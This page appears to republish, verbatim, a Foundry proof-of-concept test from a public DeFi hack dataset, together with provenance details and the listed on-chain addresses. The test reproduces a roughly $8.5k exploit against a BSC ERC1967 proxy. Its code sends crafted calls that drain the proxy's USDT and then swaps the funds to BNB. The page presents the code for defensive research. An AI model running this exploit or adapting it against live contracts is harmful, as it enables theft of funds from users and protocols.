Public reproduction file
src/test/2024-11/proxy_b7e1_exp.sol
Public reproduction file for dataset entry Proxy_b7e1.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : $8.5k7// Attacker : https://bscscan.com/address/0x9f2ecec0145242c094b17807f299ce552a625ac58// Attack Contract : https://bscscan.com/address/0x9b78b5d9febce2b8868ea6ee2822cb482a85ad749// Vulnerable Contract : https://bscscan.com/address/0xb7e1d1372f2880373d7c5a931cdbaa73c38663c610// Attack Tx : https://bscscan.com/tx/0x864d33d006e5c39c9ee8b35be5ae05a2013e556be3e078e2881b0cc6281bb26512// @Info13// Vulnerable Contract Code : https://bscscan.com/address/0xb7e1d1372f2880373d7c5a931cdbaa73c38663c615// @Analysis16// Post-mortem : https://x.com/TenArmorAlert/status/186086756088515005017// Twitter Guy : https://x.com/TenArmorAlert/status/186086756088515005018// Hacking God : N/A20address constant PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;21address constant BEP20USDT = 0x55d398326f99059fF775485246999027B3197955;22address constant ERC1967Proxy = 0xb7E1D1372f2880373d7C5a931cDbAA73C38663C6;23address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;24address constant attacker = 0x9f2eceC0145242c094b17807f299Ce552A625ac5;26contract ContractTest is Test {27 function setUp() public {28 vm.createSelectFork("bsc", 44294726);29 }31 function testPoC() public {32 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);33 vm.startPrank(attacker, attacker);34 AttackerC attC = new AttackerC();35 // deal(BEP20USDT, address(attC), 8484920000000000000000);36 attC.attack();37 vm.stopPrank();38 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);39 emit log_named_decimal_uint("after attack: balance of address(attC)", IERC20(0x7570FDAd10010A06712cae03D2fC2B3A53640aa4).balanceOf(address(attC)), 18);40 }41}43contract AttackerC {44 constructor() {}46 function attack() external {47 uint256 proxyUsdtBal = IBEP20USDT(BEP20USDT).balanceOf(ERC1967Proxy);48 bytes32 fixedData1 = hex"000001baffffe897231d193affff3120000000e19c552ef6e3cf430838298000";49 bytes memory data = abi.encodePacked(50 bytes4(0x9b3e9b92),51 abi.encode(52 address(BEP20USDT),53 fixedData1,54 uint256(0),55 uint256(1),56 uint256(192),57 uint256(224),58 uint256(0),59 uint256(0)60 )61 );62 (bool c2, ) = ERC1967Proxy.call(data);64 uint256 nextOrderId = IERC1967Proxy(ERC1967Proxy).nextOrderId();65 bytes32 fixedData2 = hex"fffffffffffffffffffffffffffffffffffffffffffffffffffff8cd94b80000";66 bytes memory data2 = abi.encodePacked(67 bytes4(0x9b3e9b92),68 abi.encode(69 address(BEP20USDT),70 fixedData2,71 uint256(0),72 uint256(1),73 uint256(192),74 uint256(256),75 uint256(1),76 nextOrderId,77 uint256(1),78 uint256(proxyUsdtBal)79 )80 );81 (bool c4, ) = ERC1967Proxy.call(data2);83 uint256 selfBal = IBEP20USDT(BEP20USDT).balanceOf(address(this));85 IBEP20USDT(BEP20USDT).approve(PancakeRouter, type(uint256).max);87 address[] memory path = new address[](2);88 path[0] = BEP20USDT;89 path[1] = wbnb;90 IPancakeRouter(payable(PancakeRouter)).swapExactTokensForETHSupportingFeeOnTransferTokens(91 selfBal,92 0,93 path,94 tx.origin,95 block.timestamp96 );97 } 98}100interface IERC1967Proxy {101 function nextOrderId() external view returns (uint256);102}104interface IBEP20USDT {105 function balanceOf(address) external returns (uint256);106 function approve(address, uint256) external returns (bool); 107}Analysis
Dataset entry
Public Foundry test for “Proxy_b7e1” (2024-11-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-11/Ak1111_exp.solSame month in the dataset · 56 lines
- src/test/2024-11/ChiSale_exp.solSame month in the dataset · 85 lines
- src/test/2024-11/CoW_exp.solSame month in the dataset · 73 lines
- src/test/2024-11/DeltaPrime_exp.solSame month in the dataset · 249 lines
- src/test/2024-11/MainnetSettler_exp.solSame month in the dataset · 93 lines
- src/test/2024-11/Matez_exp.solSame month in the dataset · 72 lines
- src/test/2024-11/MFT_exp.solSame month in the dataset · 157 lines
- src/test/2024-11/NFTG_exp.solSame month in the dataset · 68 lines
- src/test/2024-11/PolterFinance_exploit.solSame month in the dataset · 227 lines
- src/test/2024-11/RPP_exp.solSame month in the dataset · 100 lines
- src/test/2024-11/vETH_exp.solSame month in the dataset · 94 lines
- src/test/2024-11/VRug_exp.solSame month in the dataset · 38 lines
- src/test/2024-11/X319_exp.solSame month in the dataset · 45 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x9f2ecec0145242c094b17807f299ce552a625ac5
- Attack Contract
0x9b78b5d9febce2b8868ea6ee2822cb482a85ad74
- Vulnerable Contract
0xb7e1d1372f2880373d7c5a931cdbaa73c38663c6
- Attack Tx
0x864d33d006e5c39c9ee8b35be5ae05a2013e556be3e078e2881b0cc6281bb265
- Post: https://x.com/TenArmorAlert/status/1860867560885150050
- Explorer: https://bscscan.com/address/0x9f2ecec0145242c094b17807f299ce552a625ac5
- Explorer: https://bscscan.com/address/0x9b78b5d9febce2b8868ea6ee2822cb482a85ad74
- Explorer: https://bscscan.com/address/0xb7e1d1372f2880373d7c5a931cdbaa73c38663c6
File record
- Name
- Proxy_b7e1
- Path
- src/test/2024-11/proxy_b7e1_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4100b90fe3fbed832d004d7b04f91e8a851a7386
- Language
- Solidity
- Size
- 107 lines
- Date
- 2024-11-24
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-11/proxy_b7e1_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4100b90fe3fbed832d004d7b04f91e8a851a7386, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.